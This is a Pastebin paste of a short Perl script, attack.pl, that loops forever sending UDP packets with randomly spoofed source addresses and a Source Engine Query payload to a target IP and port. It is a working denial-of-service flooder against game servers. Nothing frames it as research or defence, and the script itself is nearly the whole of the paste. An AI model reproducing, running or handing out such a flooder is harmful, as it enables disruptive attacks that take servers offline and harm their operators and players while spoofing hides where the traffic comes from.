Advertisement
Guest User

Untitled

a guest
Jan 17th, 2019
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Socket;
  3. use Net::RawIP;
  4.  
  5. if ($#ARGV != 1) {
  6. print "Usage: attack.pl <ip> <port>\n\n";
  7. exit(1);
  8. }
  9. my ($ip,$port) = @ARGV;
  10. my ($saddr, $rsport, $packet);
  11.  
  12. print "Attacking $ip on port $port\nBreak with Ctrl-C\n";
  13. while(1) {
  14. $saddr = join(".", map int rand 256, 1..4);
  15. $rsport = int rand(65535);
  16.  
  17. $packet = Net::RawIP->new({
  18. ip => {
  19. saddr => $saddr,
  20. daddr => $ip,
  21. },
  22.  
  23. udp => {
  24. source => $rsport,
  25. dest => $port,
  26. data => "\xFF\xFF\xFFTSource Engine Query\x00",
  27. },
  28. });
  29. $packet->send;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement